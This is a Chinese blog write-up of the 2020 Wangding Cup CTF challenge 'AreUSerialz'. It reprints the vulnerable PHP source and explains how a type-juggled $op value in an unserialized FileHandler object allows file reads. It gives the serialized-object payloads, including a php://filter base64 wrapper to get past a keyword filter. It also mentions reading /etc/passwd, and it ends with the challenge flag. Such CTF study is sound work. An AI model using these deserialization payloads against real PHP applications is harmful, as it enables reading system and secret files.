[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

上来就是一份代码源文件,完整代码如下:

   <?php
  
  include("flag.php");
  
  highlight_file(__FILE__);
  
  class FileHandler {
  
      protected $op;
      protected $filename;
      protected $content;
  
      function __construct() {
          $op = "1";
          $filename = "/tmp/tmpfile";
          $content = "Hello World!";
          $this->process();
      }
  
      public function process() {
          if($this->op == "1") {
              $this->write();
          } else if($this->op == "2") {
              $res = $this->read();
              $this->output($res);
          } else {
              $this->output("Bad Hacker!");
          }
      }
  
      private function write() {
          if(isset($this->filename) && isset($this->content)) {
              if(strlen((string)$this->content) > 100) {
                  $this->output("Too long!");
                  die();
              }
              $res = file_put_contents($this->filename, $this->content);
              if($res) $this->output("Successful!");
              else $this->output("Failed!");
          } else {
              $this->output("Failed!");
          }
      }
  
      private function read() {
          $res = "";
          if(isset($this->filename)) {
              $res = file_get_contents($this->filename);
          }
          return $res;
      }
  
      private function output($s) {
          echo "[Result]: <br>";
          echo $s;
      }
  
      function __destruct() {
          if($this->op === "2")
              $this->op = "1";
          $this->content = "";
          $this->process();
      }
  
  }
  
  function is_valid($s) {
      for($i = 0; $i < strlen($s); $i++)
          if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
              return false;
      return true;
  }
  
  if(isset($_GET{'str'})) {
  
      $str = (string)$_GET['str'];
      if(is_valid($str)) {
          $obj = unserialize($str);
      }
  
  }

程序先检查GET请求中有没有一个叫str的参数,有则检查str变量,确保其每个字符ascii值都在32-125中,之后对变量str进行反序列化。
反序列化漏洞,我们直接找魔法函数,这里只有一个__destruct,继续审计代码。发现发现其在执行时会对op进行强类型比较,若其值为字符2,将其设置为字符1,将content属性重置为空,再调用process函数,观察process函数我们发现,其判断条件均为弱类型比较,且op为2时,调用read函数读取filename文件。到这里我们就有思路了。将op设置为数字2,filename设置为flag.php。对FileHandler进行序列化,传值给str。代码如下:
需要注意,protected属性序列化的格式是%00*%00属性名,这里限制str中不能含有不可见字符,所以需要将FileHandler属性都设置为public。这里其实利用了php7.1+版本对属性类型不敏感的漏洞。

  <?php
      class FileHandler {
          public $op = 2;
          public $filename = "flag.php";
          public $content;
      }
  
      $a = new FileHandler();
      $exp = serialize($a);
      echo $exp;
  ?>

得到序列化的值:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
直接输入payload,?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;},返回为空

但是将filename设置为/etc/passwd可以正常显示结果

所以这里存在一个坑,还有其他的waf拦了关键字flag,我们使用base64加密绕过。
将filename的值设置为php://filter/read=convert.base64-encode/resource=flag.php,再进行序列化得到:

  O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

最后payload为?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
最后得到flag的base64值

base64解密得到:
<?php $flag='flag{c906a37b-882d-47fc-8dd9-08668237e164}';
即flag为:flag{c906a37b-882d-47fc-8dd9-08668237e164}

posted @ 2024-11-11 11:45  一只本本  阅读(14)  评论(0编辑  收藏  举报